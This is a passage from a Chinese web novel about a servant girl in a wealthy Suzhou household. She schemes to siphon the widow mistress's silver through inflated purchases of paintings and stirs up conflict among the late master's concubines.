春云一张小脸早就哭的脏兮兮的,宋瑾找了水和帕子给她擦脸,悄声问她:
“还疼么?”
春云呆呆的,察觉到宋瑾的嘴巴在动,却没有听清。
“你说什么?”
宋瑾加大音量:“我问你还疼不疼?”
春云道:“耳朵疼,头发昏。”
宋瑾听罢,抓住她的耳朵想看看里头,结果天色昏暗,根本看不见,只好作罢。
只叫她今晚就睡在自己屋,明天还得回去西苑。
不提西苑还好,一提起春云的嘴巴一咧:“我不想回去。”
脸上眼泪哗哗直流。
宋瑾无奈安慰她:“不回去四娘指定要闹的,到时候还是你倒霉,你瞧瞧我就知道了,发了一顿烧,差点没烧死。”
春云听了凑过来问:“我听她们说,你发烧的时候通神了,那我也烧烧,没准就能来大奶奶屋里了。”
宋瑾听了赶紧制止:“你最好赶紧打消这个念头,一个通神是通神,两个通神就是闹鬼了。不知道的还以为神仙搬来咱们家了呢。一个个都通神,传出去恐怕整个苏州都得烧起来。”
春云听了嘿嘿一笑,扯的耳朵生疼,便又立刻收敛了。
“你这里真好,一个人住这屋子,还有干净的被子,比咱们屋里的软多了。”
宋瑾听了轻笑一声,做人家的手套是有代价的,只是如今她已经没有选择了,要么进,要么原地不动,为奴一辈子。
她赌自己赢。
夜色渐黑,宋瑾听见外头没什么声音了,便打水洗漱后钻进了被窝里。
被窝下面的春云察觉到宋瑾进来了,身子立刻贴了上来,一双手抱住宋瑾的胳膊,乖的不得了。
她把宋瑾当水中浮木,明明两个都泡在里头,一个也上不了岸,但是抱着就安心。
5. 人精
这天早晨宋瑾起的极早,出门打了水回来自顾自洗漱了,又把春云叫起来洗漱。
春云头昏耳疼的情形好了不少,倒是能自己走动了。
“你洗漱完赶紧回去,等四娘起来了,必定要洗漱。到时候你没在,指定又要骂人了。”
春云刚爬起来就听见四娘两个字,小嘴不受控制地撅起来。
晦气。
“我什么时候也能来大奶奶屋里头啊?那个鬼地方,早晚把我打死在里头。”
春云只是随口抱怨一声,宋瑾听了却叹气,她自己也只是忽悠住了,后面事情还没办完,她实在不敢确定能不能帮春云也出来。
“现下我也还不稳当,等过段时日我站稳了脚跟,再试着跟大奶奶把你讨出来干活好不好?”
“真的?”
春云的眼睛迸发出希冀的光芒,宋瑾不忍说不一定,哄她说一定会的。
“我就知道你对我最好了。”说完将帕子盖在脸上狠狠地擦了把那张小脸。
“耳朵还疼么?出来叫我看看。”
宋瑾拉着春云走到门边,扯着她的耳朵对着光一看,一下就看见了耳道里凝固的殷红血迹。
“现在还疼么?”
春云摇摇头,接着又点点头:“一点点疼,比昨天好多了。”
宋瑾闻言,捂住她右边的耳朵对她轻声说着话。
春云盯着宋瑾的嘴唇,眨巴了两下眼睛才反应过来,那只耳朵听不见了。
那一巴掌把春云的左耳耳膜打穿孔了。
反应过来的春云脸色骤变,五官挤成一团,两只大眼睛眯成一道缝,数道热泪滚落下来,一张嘴张得老大,在声音发出来之前,宋瑾伸手捂住她的嘴,将人带进了屋里。
“把大奶奶吵醒了就完了。”
春云的哭声被宋瑾捂在喉咙里,只有眼泪一直往下落。
“你别怕,会长好的,最多一个月也就听见了。”
春云听了这话,哭势收了收,宋瑾也松开手,免得她窒息。
“你别怕,就是里头打破了,出了点血。你记着,这只耳朵千万别进了水,只要不进水,不发炎,一个月自己就能长好的,别怕。”
“真的假的?”
春云一张嘴,哭声就跟着出来了,宋瑾只好再次捂上。
“你忘啦,我通神的呀。”
一句话逗得春云立刻雨转多云:“那我信你的。”
“信我就赶紧去把脸重新洗了,瞧你,花猫一样。”说话间伸手揉了揉春云稚嫩的脸颊。
春云听了宋瑾的话,重新洗了把脸后迅速跑出了紫竹苑,径直往西苑里头去了。
打水,刷马桶,扫院子,院子里的粗活现下都落到她一个人肩上了。
眼看着春云去忙了,宋瑾也没有好到哪里去。
计划是计划,距离实际操作还有好远的路要走。
要说起来,柏家这一房家业实在不小,单看这偌大的宅院便知道了。
家中除了早年继承下来的生药铺,柏家二老爷没有沉迷酒色的时候,那也是兢兢业业一心赚钱的。
外头有田庄,水田沙地一应俱全,庄子里单织妇便有数十位,采桑养蚕织布几乎是流水线操作,然后再到城中布帛店售卖。
这一套下来,家中稳固的不得了。田地奴仆织妇放在一起,那简直就是天然的赚钱机器。经过多年积攒,柏家在苏州虽不是拔尖的,却也是排得上号的富贵。
可惜了,固定资产挪不走,不然这房大奶奶就要成苏州排行第一的女富豪了。
宋瑾这样想着,便把心思都放在家中库房的银子上头。
洗钱的手段多的很,买昂贵药材,买艺术品,买玉石,那手段要多少有多少,她都是见识过的。看起来完全正规,尤其是艺术品和玉石,价格上不封顶,比药材还要好操作。
她心中算计已定,跑出门去找紫竹苑一众丫鬟们一块儿吃了顿早饭,然后便回了房中,准备等文雅洗漱完,吃过早饭了再去找她。
哪晓得她还没有去找文雅,杜鹃便先来到她的房中。
大奶奶有事找她。
宋瑾跟着杜鹃进了大奶奶文雅屋中,进门便瞧见桌边还立着一个男子。
三十出头的模样,圆脸细眼,唇角挂着讨好的笑容,谄媚中带着一股子憨气。
“大奶奶万福。”
宋瑾行了礼,便站在一边等着早饭尚未吃完的文雅说话。
“这是我娘家侄儿文新。”
文雅说话时头也不抬,等说完了才看向文新,对着他道:“这是我院中家奴蔓草,这件事就由她帮你一起办妥。”
文新忙点头哈腰:“全听姑姑吩咐。”
文雅淡淡嗯了一声,这才转向宋瑾:“此事要办的稳妥些,别叫那房知道了,闹出动静来大家都不好过。我侄儿会跟你一起办这事,银子出去了便不好回家里来,再赁个小院,到时候你们两个一并住过去,方便行事。”
宋瑾恭敬答是。
谁说古人蠢笨的?这不就来个监视的么,而且是相互监视。
宋瑾是家生子,没有放良凭证简直寸步难行,文雅需要她办事,又不全然信任。
文新是文雅侄子,自家人,可以盯着宋瑾,有宋瑾在也可以防着文新私吞。
这防盗手段不是玩的很溜嘛。
宋瑾听完吩咐,瞧了一眼文新,暗自思忖:实在不行,两个人一起监守自盗呢?
文新察觉到她的目光,扭过头来看宋瑾,二人四目相对,不经心中讶异:这家奴居然不躲闪。
宋瑾觉得那张脸上除了憨笑辨不出什么来,不过她也不急,日后有的是时间观察,当下行礼退出了屋子。
她没有回自己的屋子,而是在院门口等着,果然没多大会子就见文新从里头出来了。
宋瑾立在院门边,款款行礼,唤了一声“文公子”。
文新一改在屋中的谄媚憨笑,视线上下打量着宋瑾一番,这才拱手道:“往后出门在外,公子就免了。子晋小我几岁,我就叫你子晋,你叫我文新兄吧。”
宋瑾学着文新的样子,行了男子的作揖礼,重新叫了一声“文新兄”。
文新听了大笑,伸手做了一个请的姿势:“子晋,请。”
宋瑾学着他的样子,也做了一个请的姿势,二人一同往外间走去。
“听姑姑说,子晋好算计,这宅院田庄奴仆是没法子了,可是这现银要是能挪出大半来,那也是功劳一件啊。”
“不过是奶奶肯给机会,文新兄又肯帮忙。”
宋瑾跟着说两了客气话,哪晓得文新听了却停了脚步,语气认真道:
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“听姑姑说,你通了神?”
宋瑾抿唇微笑,“睡梦中事,醒来便多了些本事,通神是夸张了。”
文新笑问:“不知道是多了哪些本事?”
“略识得一些字。”
宋瑾不打算掏心掏肺,只简单带过,文新也是个人精,知道初见彼此都不信任,因此并未细问,而是改了方向。
他凑近宋瑾耳边问:“不知道这挪钱的法子,子晋可有想好?”
宋瑾淡笑着问:“文新兄可识得一些画师?”
“画师?”
画师画伪作,收回来后高价卖出,或者索性夸大画师的本事,料定可以传家,一通采买,反正都是左手捯右手的事情。
除了被人诟病眼光不好,也不能说人家违法律法。
“最好是有些名气,又或者是可以仿绘,不用仿大家画作,仿一些名气不大的画师作品。”
文新听了眉头一皱:“这是何故?”
宋瑾细细解释着:“大师作品存世不过就是那些,随便说说都知道在谁手中,要作弊不方便。不太出名的画师画作品也能卖上价,大奶奶买下来装饰家里名正言顺,至于究竟值多少,谁知道呢。”
“哦,原来如此。”文新展颜一笑,“子晋果然好算计,只是一幅画......”
“一幅画自然不够,多来几个,如果有玉石就更好了。”
“玉石?”
宋瑾再解释:“不要做好的玉石首饰,只要未开的石头。”
文新为难起来:“可是咱们苏州不产玉石,一次要许多石头的话,恐怕难了。”
这倒是宋瑾遗漏的。
苏州丝织品行业繁盛,可是价格大家心知肚明,要想在丝织品价格上作假太容易被人识破了,所以才要在一些价格不固定的产品上动心思。
如果玉石不好操作的话,那就只能是药材和画作了,苏州文人雅士不要太多,一个商人想要附庸风雅是很自然的事情,画师也不难找,专挑贫穷的就好了。
“这样好了,我先去找些会写诗作画的文人,让他们写写画画,届时一并送来挑选,选中了咱们就用‘高价’买下来。”
宋瑾笑着点头,“还是文新兄聪慧。”
“哪里哪里,还是子晋的主意好,今日先这样,我这就去找人,另外再赁间小院,你早日搬出来,我们一起共商大计。”
宋瑾微笑道好。
她将人从后院送至前方轿厅,文新的伴当帮着掀开轿帘,两人拱手作别,文新这才上轿离去。
宋瑾看着那轿子从柏家院门出去后,脸上笑容骤然消失。
什么憨笑,分明是个人精。
第一次见面就叫她子晋,入戏比自己还早,恐怕不是个好糊弄的。
细想起来也不奇怪。
柏家大奶奶文雅是商户出身,那文新也是在商人家庭里浸泡着长大,怎么可能不知道这里头的弯弯绕绕。
都说历史是面镜子,五千年前的古人和二十一世纪的现代人,从人性上来讲,并无异处,只是所采取的手段和社会规则有了些许变化罢了。
只要人性不变,那宋瑾就有把握可以争取一番。
正当她对着文新离去的身影开始算计的时候,身后传来一个声音。
“蔓草,大奶奶叫你过去呢。”
6. 同住
宋瑾跟着莲心重返紫竹苑。
屋里文雅早饭吃罢,桌上饭食皆撤,此刻正端着一杯茶慢慢饮着。
一身白衣孝服丝毫不减威严。
宋瑾进了屋,道了万福后便立在那里,文雅饮罢两口茶才抬起头来。
“人送走了?”
“已经送出门去了。”宋瑾温言答道。
文雅浅笑一声:“倒是个懂礼数的。”
接着又是饮茶,宋瑾立着不说话,直等文雅喝好了才听她问话:
“听说昨晚西苑里的春云歇你屋了?”
宋瑾答道:“昨夜春云挨了打,耳朵打坏了,我便留了她一夜。”
文雅不紧不慢地嗯了一声道:“你倒是心善。”
一种熟悉的感觉席卷宋瑾全身,这种不知道到底要干什么的对话最叫人头痛,她却不得不应付着。
“奴婢病中也多亏春云照应,她出了状况,奴婢自然要多看顾一些。”
文雅笑意更甚:“是了,有来有往嘛,有情意的奴婢用起来才叫人放心,那些没心肝的我用着也害怕呀。”
宋瑾张口就来:“是大奶奶教的好。”
“哈哈哈——”文雅笑出声来:“昨日见你就比以往机灵,今日看你,更甚昨日了。”
宋瑾浅笑着立在那里不说话,拍马屁的本事她曾经也是好好学过的。
文雅笑完,这才继续说道:“这家里头的人啊,要是各个有情有义,那我也省去不少事情。可偏偏有些人,丈夫刚刚入土她便想着改嫁,要不是规矩束着,只怕这人今日入土,她明日就要脱去孝服勾搭野汉子去了。”
说到此处,文雅看向宋瑾意有所指道:“这女子为夫守孝乃是理所应当,你说对这不守规矩的女子该怎么管教比较好呢?”
宋瑾听得心中一咯噔,心道果然是不会让自己闲下来。
文雅要收拾几房妾室,又不愿意旁人说她苛待姐妹,所以需要一双手去替她办这件事,替她做这个恶人。
昨儿宋瑾才上赶着展示本领,今天就被要求去收拾几个女子,这个坏人她是不想做也不行的。
宋瑾心中快速分析着。
文雅点名要守孝,便是不给改嫁。人在一个宅院里,又不想亲自动手去收拾,那唯一的办法就是起内讧了。
一众姐妹塞一个院子,非得吵翻天不可。
想到此处,宋瑾恭敬地说道:“奴婢在西苑住着的时候,四娘总是爱热闹,喜欢同人讲话,奴婢猜是太孤单了些。如果可以,不妨将三位姨娘都挪进一间院子里头住着吧,大家相互作陪,也就不惦记着旁的事了。”
文雅听了,笑得眼睛眯成一道缝,眼角鱼尾纹深的能夹死苍蝇:“我就知道她爱热闹,就听你的,三个姐妹挪进一个院里,也好相互作个伴,说个话。正好西南角的院子空着呢,这事就交给你去办吧。”
宋瑾领了命,行了礼,退出门去。
这个世界真是一点变化也没有,上辈子做过的孽,这辈子还要继续。
这件事不讨喜,就因为不讨喜所以文雅不肯亲自去做。
宋瑾感叹,自己真是个好打手,还是上赶着送到人家面前的。
她离了紫竹苑,径直往前头找长班管事刘管事要人去打扫西南角的梅林院。
蔓草本是粗使奴婢,宅中众人昨日才听说她从西苑挪去了紫竹苑,结果今天就站在刘管事面前要人打扫梅林院。
刘管事的脑子一时没转圜过来。
“大奶奶说了,三位姨娘住的稍远了些,作伴不方便。干脆把梅林院打扫出来,叫三位姨娘一起住着,大家也方便说话作伴,这也是为姨娘们考虑。”
宋瑾说话时面不改色,刘管事听着却脸色骤变。
谁都知道大奶奶不喜欢姨娘们,也都知道姨娘里有好生事的,这放在一起,岂不是要把梅林院给掀了?
“那这梅林院共三间屋子,谁住主屋呢?”
按理来说二娘进门最早,自然该她住主屋。可是谁都知道二娘势弱,不及另外两位强势,这也是刘管事有此一问的原因。
宋瑾挤出标志性笑容:“想必三位姨娘自有决断。”
怎么决断?吵呗,骂呗,打呗,撕呗,文雅不就是要她们不得安生嘛。
谁闹到她面前要她主持公道,那不就是今天打一个,明天打一个,一边享受着掌握他人命运的爽感,一边还能不动声色地借力打力,简直不要太过瘾。
刘管事听见宋瑾答话,心中越发奇怪起来,只是看宋瑾那架势完全不像是在糊弄他,因此也不再多问,转身去找一众奴仆吩咐尽快将梅林院打扫出来。
宋瑾也不走,就这么站在梅林院门口看着一众奴仆忙碌。
昔日的粗使丫头,如今有些不一样了,里头的奴仆们有不少都向宋瑾投来异样的眼光,就连刘管事也趁机打听。
“听丫头们说,你昨儿搬去紫竹苑了?”
宋瑾微笑着点头道是。
刘管事又问:“怎么好端端的,大奶奶叫你去她屋子里头伺候?”
宋瑾依然是那副皮笑肉不笑的样子,看起来颇得文雅真传,相当讨人厌。
“大奶奶叫我帮她办些事。”
刘管事听了顺势打听:“是什么事呀?”
宋瑾思量片刻道:“大奶奶叫我出门帮着做些买办的事情。”
买办也就是采购,搁在现代那绝对是油水足的岗位,放在过去,那也比家里的奴仆自由许多,不知道多少丫鬟要羡慕了。
要是机灵点儿,那荷包也可以跟着鼓起来。
只是这等好差事怎么就落到了宋瑾身上了?
刘管事百思不得其解:“这好端端的,怎的叫你去做买办了?”
宋瑾笑道:“奶奶的心思我岂会知晓,不如下次刘管事见了奶奶,自己去问好了。”
刘管事哪里敢问,只好悻悻笑着恭喜宋瑾,不再多问了。
与其考虑宋瑾怎么从粗使丫鬟变成买办,不如想想这一院子的主子怎么伺候吧。
刘管事跟宋瑾客套两句便离了梅林院,由着下人们去打扫了,宋瑾则站在门口打量院中。
梅林院,院如其名,多植梅花。
眼下三月春光,哪有梅花可赏,只能看看假山萱草,比起四娘叶问芙的小院子可差远了,不过确实大了许多。
众人手脚倒快,很快便将院子收拾了出来。
宋瑾看着众人离去,知道该自己出马去通知三位姨娘挪窝了。
或者说,该她去挨骂了。
依着顺序,从二娘赵依柳开始。
宋瑾站在门口,先叫里头丫鬟东枝去帮自己传话。
东枝见着宋瑾,第一反应不是赶紧去传话,而是先上下打量着宋瑾。
前些
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日子还说要病死了,如今一醒来就搬去了紫竹苑住上了小单间,说诈尸不合适,倒很贴合回光返照的样子。
“你怎么搬去紫竹苑了?”
人人都想知道答案。
“大奶奶派我做些别的事情。”
宋瑾用着同一套说辞,各路人也回复她同一个问题:“做什么事情呀?”
宋瑾笑笑:“你还是先跟二娘通传一声吧,免得误了事。”
东枝闻言一笑,先扭头进了屋子,没多大会子又出来了:“二娘叫你进去呢。”
宋瑾依言进了屋子,看见人正坐在榻上玩骰子。
同样的白色孝衣,不一样的面容气质。
不比文雅的威严,叶问芙的娇俏,赵依柳显得更加像个小娘子。
她是家中几个娘子里最温柔,话最少的一个,同时也是存在感最低的一个。
大奶奶是谁都不待见,柏笑南娶了三娘四娘之后,对她也就冷淡了些。她又不会争不会抢,于是就在这院里默默住着,一直住到三十多岁也没个子嗣,整日就跟丫鬟们耍双陆玩骰子,没人打扰的时候倒也安静惬意。
可是这安静惬意到今日也就终止了。
宋瑾的歉疚在脑中一闪而过,行了礼道了万福便开始微笑传话:
“大奶奶说老爷如今不在了,三位姨娘又住的远,大家也没得做伴,太过孤单了些。所以想着大家都挪去梅林院,往后也有其他姨娘陪二娘玩骰子耍双陆了。”
宋瑾话刚说完,赵依柳手中的骰子脱了手,跌在桌上滚了两圈停住了。
“搬到一起?跟谁搬到一起?”
“自然是三位姨娘搬到一起,大家......”
“你们西苑那位需要我们做伴?”
宋瑾话未说完,赵依柳便开始质问,只是这质问也比叶问芙在气势上差了不少。还不待宋瑾解释呢,赵依柳已经开始抹泪了。
“老爷死了就这般作践我们么?她四娘不安分,我是碍着谁了?就那么见不得我好嘛,非要把我们放一起,谁要跟她住一起?”
赵依柳边说边哭,呜咽不止。宋瑾沉着脸,不让自己的同情心蹦出来。
“二娘,不如先叫丫鬟们收拾着,今日就搬过去吧。奴婢还要去三娘四娘房中传话,就不打扰二娘了。”
宋瑾出了赵依柳的小院,心情沉重起来,她没有接着去三娘徐翠云的屋子里传话,而是站在走廊一角做了几个深呼吸。
缺德事干多了,是要遭报应的。
或许现在就是她的报应呢?
狗屁!明明比她作孽还多的人过得好着呢,她自责个什么劲儿。
宋瑾深吸一口气,眼神里不经意露出狠戾之色来,径直往徐翠云的小院去了。
哪想到刚走至门口就遇见了往外搬东西的丫头素雪。
“素雪?你们这是......”
“不是要搬去梅林院么,你不用传话了,我们已经开始搬了。”
素雪说完话,也没空去问宋瑾怎么就去了紫竹苑,提着箱笼就往梅林院的方向去了,弄的宋瑾一头雾水。
有人已经把消息传过来了,也好,她可以少挨一顿骂。
只是这最后一位......
宋瑾揉了揉脸颊,大不了挨顿打好了,又不是没挨过。
想及此,宋瑾不再犹豫,抬脚便往西苑传话去了。
7. 大闹
午后春光正盛,叶问芙命人搬了桌椅到院中,此刻正坐在那里跟丫鬟采薇红杏说笑。
见着宋瑾进来,脸色一沉,白她一眼并不理会。
宋瑾行了礼道了万福,机器人一般道:“四娘,大奶奶体恤,说是一人独住一个院子太孤单了,叫大家一同搬去梅林院住。”
“大家?”叶问芙语气不善,“哪个大家?”
“自然是二娘三娘和四娘。”
叶问芙听罢冷笑一声:“自打我进了这柏家大门就住在这西苑里头,倒是你,才进了紫竹苑一天我就得跟她们同住一个院子。你倒是说说,这是谁的主意?”
叶问芙越说越气,声音也越来越大,尤其是看着宋瑾一副随便骂的样子更是火大,当场就窜了起来,冲着宋瑾的脑袋就扇了几巴掌。
宋瑾早就知道叶问芙的脾性,人也不躲,只伸出胳膊去挡,口中继续道:
“四娘收拾收拾,准备搬吧,二娘三娘已经在收拾了。”
“老娘就不搬!你算什么东西?去了紫竹苑就敢来命令我?你做梦!”
叶问芙怒骂的口水几乎喷到宋瑾的脸上,宋瑾沉着气,施礼出去了,结果刚出院门不远,红杏便追了来。
“蔓草?蔓草?”红杏在□□中拦下宋瑾:“怎么回事呀?好端端的怎么就要搬了?”
宋瑾苦笑道:“没什么,就是大家一起好做伴,也免得下头人几个院子的跑,搬到一起更方便。”
红杏见她打着官腔,便知道这是大奶奶的意思,埋怨道:“咱们这位可不是个好相处的,这搬到一起了岂不是要闹翻天。”
宋瑾依旧是苦笑,大奶奶文雅的心思就在这里,这个家里除了她,谁都别想好过。
“劝劝四娘叫搬了吧,不然只怕大奶奶要借着这个机会为难她呢。”
红杏叹息一声,折身回去了,宋瑾也扭头走了。
她不在乎叶问芙搬不搬,搬了最好,不搬就是自己继续做恶人,反正她都做了许多年了,也不差这一时半会儿的。
宋瑾到紫竹苑回话,梅林院已经打扫出来,三个院子都已经通知过去,已经准备搬了。
文雅脸上带着浅浅笑意,瞧了眼宋瑾有些蓬乱的头发,那是她故意没有打理的。
“西苑那个也搬了?”
宋瑾答:“四娘心情不大好,估摸着要拖一段时间。”
文雅笑意更甚:“我看岂止是心情不好,她打你了吧?疼不疼?瞧瞧这头发,下手忒狠了。”
言辞之间似乎带着关心,只是宋瑾知道那有多虚伪。之前差点儿病死也不给找大夫,如今打两巴掌倒会关心人了。
“四娘拿奴婢出气也不是一日两日了。”
“你倒是想得开,就是不知道西苑那几个丫头能不能也想得开。”
说话间眼神扫向宋瑾,又问:“你说她要拖到什么时候呢?总不能拖的太久,不然另外两个岂不是要怪我一碗水不肯端平。”
宋瑾道:“既是要搬去梅林院,那一应吃食供应都应该送去梅林院,也无需催促四娘,只要断了西苑的供应,早晚四娘要搬的。”
文雅扑哧一声笑了起来:“你呀,倒是心狠手辣。”
宋瑾不辩驳,只是站在那里等着文雅笑完。
“好了,你先回屋子收拾收拾,然后就去前头传话吧。”
宋瑾行了礼,垂首出门去了。
刚一出门,文雅便收敛了眼中笑意,这个人变化太大了些。
宋瑾回屋重新梳头,丫鬟们的发型倒也没多少花样,她拆了发髻稍拢拢便也好了,接着便往外头去传话。
走在路上,宋瑾看着家仆们各自忙碌,再想想自己,别人是一辈子牛马,她是两辈子牛马,她到底造了多少孽啊?
话分别传给厨房的婆子和前头的管事,但凡西苑要东西,不必克扣,一律送梅林院。
搬去梅林院一切供应照旧,不搬就等着喝西北风吧。
家仆们都是看上人脸色办事的,早就知道紫竹苑看不惯西苑那位,偏偏叶问芙又好骂人,眼下见着有机会明目张胆的刁难,嘴上说着全听大奶奶的吩咐,心里早就乐开了花。
西苑的戏又可以看好几天了。
一时间众人都等着西苑那位闹起来,只有宋瑾,恨不得躲得远远的。
不出众人所料,这天傍晚西苑便闹将起来。
傍晚时候,厨房里没送饭过去,一径送去了梅林院,叶问芙没等到晚饭,领着人就到厨房里头骂起来了。
“你们一个一个都欺凌到我头上来了,狗眼看人低的货色,趁着老爷没了,各个都来踩我一脚是吧?我让你们吃!”
吵闹间伸手就要砸东西,春云知道要闹事,早早跑到紫竹苑来找宋瑾,否则闹大了大家都不好看。
宋瑾心中清楚,这事文雅是不会出面管的,就是要她自己去收拾烂摊子。
没有丝毫犹豫的,宋瑾出了紫竹苑,跟着春云径直去了厨房。
此刻厨房里头鸡飞狗跳,吵闹一片,只是等宋瑾站到门口的时候,厨房里的婆子们忽然都静了下来。
说起来也怪,宋瑾这身子骨瘦瘦小小的,往日大家也都相熟,可是这两日见她总觉得不大对劲。
人不大爱笑,也不是凶狠,就是不笑,沉着脸,可是说话又客客气气的,叫人捉摸不透。
莫非传言是真的?这人通了神,就真的变了?
大家心中存了疑影,又不好追问,只能停了手上的动作静静地看着站在门口的宋瑾。
叶问芙正打的起劲,忽见众婆子都停了手,也跟着视线望去,一下就望见了站在门口面无表情的宋瑾。
“哟,是蔓草来啦。你好本事啊,我都制不住的人你站在那里大家就停手了,去了紫竹苑就是不一样啊,好大的威风啊。”
“背靠着大奶奶耍威风耍到老娘头上来了,我当初就该让你在西苑里把腿跪折。”
叶问芙还是那副样子,美艳,娇俏,泼辣,狠毒。
“四娘为何到厨房这样闹?”
宋瑾不慌不忙地问着,还不待叶问芙说话,她娘陈婆子就先过来拉住她的胳膊低声劝道:
“你好好说话,劝劝四娘,咱们是照吩咐办事,可没亏待她呀。”
叶问芙轻笑一声:“照吩咐办事?谁的吩咐?是她蔓草的还是大奶奶的?你见过大奶奶么?怕不是有人打着大奶奶的旗号在这里耀武扬威吧。”
宋瑾吸了口气,稳住心神。
她心知这事不能捅到大奶奶文雅面前,否则她这个好人就装不成了,宋瑾只能自己扛,挨打挨骂撕破脸也只
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能自己扛。
“四娘这说的什么话?如今家里老爷不在了,自然一切都是大奶奶做主。大奶奶是觉得大家住在一起好做个伴,下人们也省些功夫。蔓草就算有天大的胆子,也不敢冒充大奶奶传话的。”
叶问芙听了这话冷笑一声,眼睛直勾勾地盯着宋瑾道:“一口一个大奶奶,是要拿大奶奶来压我是吧?”
宋瑾道:“岂敢,只是挪个大院子,况且又不是四娘一个人挪走,二娘三娘都已经收拾妥当了。”
叶问芙冷眼看着宋瑾,打没用,骂没用,说理也说不过。一口一个大奶奶去压她,还拿出其他几个人都顺从听话来比对,摆明了暗示她是个刺头。
想去紫竹苑闹,可是紫竹苑那个哪里会管她的死活。
叶问芙憋着一口气在胸口,实在无处发泄,扭头看见桌上一盘菜,抓起来便往地上狠狠一砸,一时间汤汁四溅。
“走!”
叶问芙带着红杏彩薇往厨房外走去,经过宋瑾时用手狠狠一推,几乎把宋瑾推倒在地,好在有其他人在旁边扶住了。
“你给我等着!”
撂下狠话的叶问芙拂袖而去,留下厨房这个烂摊子让大家收拾。
宋瑾没有走,留在厨房帮着一起收拾。
陈婆子过来拉住她的手问:“可把你推疼了?”
宋瑾苦笑着摇头。
另一个婆子在一边接话:“这四娘也太不安分了,老爷才走呢,人就嚷嚷着改嫁。这孝衣都没脱,真是没见过这么不检点的姑娘。”
另有人道:“要是检点能跟咱们老爷睡一张床?你没听说么,娶进来之前就睡一起了,这可不是个安分的。”
“咱们老爷也是鬼迷心窍,二娘多好呀,虽说出身不比大奶奶,但好歹是个正经人家的姑娘,进门的时候被刁难那么多回也没闹过。结果好了,后面一个比一个不正经。”
说到这里,有婆子笑了起来:“说起来咱们三娘当年也是有些名头的,不然能被咱们老爷赎回来么,我看有的是手段嘞。”
“可不是嘛,今天说要搬院子,话都没传过去呢,人就开始收拾东西了。”
“呵呵,肯定是有人偷偷传话去了,你没听说嘛?”
“听说什么呀?”
后面众人没再说话,只有细细的笑声,这倒是引起了宋瑾的注意。
她下午传话时还没进门,就看见三娘的丫鬟素雪在往外搬东西,分明早就知道了要搬院子了。
宋瑾有些心不在焉地帮着收拾厨房,心里却在思考,这人是谁呢?
“别收拾了,饿不饿?晚饭吃了没?没吃我给你煮碗面条。”
陈婆子话刚说完就有人应和:“是啊是啊,蔓草姑娘就在这里吃碗面,我给你多加些肉。”
宋瑾微笑着道好,说完又补充了一句:“谢谢李婆婆。”
那婆子笑着唉了声,忙不迭地去煮面了。
背靠大树好乘凉也好,狗仗人势也罢,反正自打宋瑾搬进了紫竹苑,又在宅子里办了件事,下人们看她的眼光都不一样了,连带着对老陆和陈婆子都亲切了些,否则哪能说给煮面就给煮面的。
李婆婆和陈婆子一个烧火,一个舀水,只有宋瑾看着灶膛里的火光发着呆。
什么时候才能离开这鬼地方啊?
8. 赁屋
宋瑾也没去别处,等面煮好了,那婆子很是厚道地给她舀了一大勺肉汤和几块肉进去,她就趴在厨房的小桌上吃了起来。
“蔓草啊,”李婆子面色讪讪:“听他们说你通神啦?”
宋瑾听了这话,轻轻一笑道:“只是高热的时候梦见去了一处地方。”
“是哪里呀?”婆子不肯罢休。
宋瑾答:“一个山洞。”
“见着神仙了?”厨房诸人都围了过来,只有蔓草的母亲陈婆子面色不大好。
宋瑾并不慌,一边吃面一边答:“是遇着几位老者了,就是不大认识。”
“可你见了之后就能写字了,那肯定是很厉害的神仙吧?”
宋瑾笑而不答,不慌不忙地继续吃面。
“能不能再通通神,帮我问问寿数多少呀?”
“还有还有,我女儿嫁给谁呀?”
“我老头子的病能不能好呀?”
......
众人七嘴八舌地问着,宋瑾听了诸多问题,却没有一个在想能不能脱籍的。
人是环境的产物,说良心话,同为奴婢,能在厨房里头做事已经很不错了。
没田没地没银子的,怎么脱籍?脱籍了又靠什么吃喝?还不如在柏家这大院子里,好歹吃的饱饭。
众人乱糟糟地问完,忽然发现宋瑾一字未答,一时间都看向宋瑾。
宋瑾温柔一笑:“现在通不了神了,所以问不了。”
说罢低头继续吃面。
“我说不行的吧......“
众人失望散去,倒是李婆子还留在桌边,悄声问:“你怎么去了紫竹苑呀,能不能把我家东枝也一并带去呀?”
宋瑾听罢先是一愣,转而一想也就明白过来了。
东枝是二娘赵依柳房中的丫鬟。
说起来赵依柳也是可怜,本来家道中落就够惨的,偏偏遇上柏笑南这么个趁虚而入的。
当初柏笑纳娶她为妾,却因为文雅而不能进门,只能住在外头。
等事发那天文雅大闹,柏笑南索性撕破脸,非要把赵依柳带回家中,柏家也是支持的,说都是为了子嗣着想。
赵依柳原来只是偷偷娶的二房,本想着进了门也算名正言顺,哪晓得大奶奶文雅的凶悍非一般人能比。
苦日子从抬脚进门那刻就开始了。
赵依柳因为自家势弱,又是姨娘,文雅又凶悍,还是正妻,明里就使了不少绊子,叫她吃够了苦头。
于是为了生存,越发害怕柏笑南来她房中,每每来了总要说起大奶奶的刁难,叫他少来。说的柏笑南心烦不已。于是大房不去,二房不来,直接奔进了勾栏院,三娘就是这么进门的。
没了宠爱的赵依柳终日就窝在那个院子里,倒也不愁吃喝,只是孤单的很,她却也能熬的下去。
这样安分的主人有个好处,不会随意打骂下人。
这样安分的主人有个坏处,下人会叫别院的下人看不起。
紫竹苑就不同了,大奶奶的院子,丫头走出去腰杆都比别院的直些。
说是仗势欺人也好,说是狐假虎威也罢,总之紫竹苑的丫鬟就是高人一等。
难怪李婆子会找宋瑾说这个话,谁不想自己的女儿攀个高枝呢,将来在这院里选奴才嫁人,都比别人多些选项。
“李婆婆,我才刚去呢,自己还没干两天活,哪里就能带人去了,您也太高看我了。”
宋瑾笑着说话,李婆子却听出不一样的感觉,这话以前的蔓草可说不出来。
通了神就是不一样了。
“也不是说马上就去,你的难处我也晓得的,我也就是想着万一哪天大奶奶需要个扫地的丫鬟,你也帮忙荐一荐我家东枝。”
宋瑾听罢笑着应道:“好。”
空头支票她从前不知道打过多少,也不怕再多这一张。
柏家过了两天安生日子。
四娘叶问芙悄无声息地搬去了梅林院,三娘徐翠云因为去的最早住在主屋,二娘赵依柳住西厢房,最晚去的四娘叶问芙住东厢房。
因着严重的夕晒,叶问芙闹了一场。
从前在西苑因为只她一个,所以向来无敌。可是烟花巷里的徐翠云哪里是吃干饭的,从前没碰上倒还好,这一碰上就是针尖对麦芒,吵得不可开交,只赵依柳一个人躲在屋中闷哭。
因为进门时间晚,再加上徐翠云看她不顺眼,非要给赵依柳撑腰,叶问芙没赢过,于是三间屋子就这么定了下来。
